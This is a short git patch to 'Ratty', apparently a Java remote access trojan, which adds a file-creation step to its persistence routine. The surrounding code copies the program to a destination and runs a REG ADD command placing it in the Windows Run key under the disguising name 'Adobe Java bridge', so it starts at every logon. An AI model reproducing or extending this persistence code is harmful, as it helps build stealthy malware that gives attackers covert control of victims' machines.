From 7b6a704d531f2c6df467ce2e6ffdac90384be13b Mon Sep 17 00:00:00 2001 From: Sogomn Date: Tue, 2 Feb 2016 16:07:04 +0100 Subject: [PATCH] Minor changes Fixed a small bug when creating startup file --- Ratty/src/de/sogomn/rat/Ratty.java | 1 + 1 file changed, 1 insertion(+) diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 886438a..f2e74c0 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -55,6 +55,7 @@ public final class Ratty { final File destination = new File(destinationPath); final String registryCommand = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + destinationPath + "\""; + FileUtils.createFile(destinationPath); FileUtils.copy(source, destination); Runtime.getRuntime().exec(registryCommand); } catch (final URISyntaxException | IOException ex) {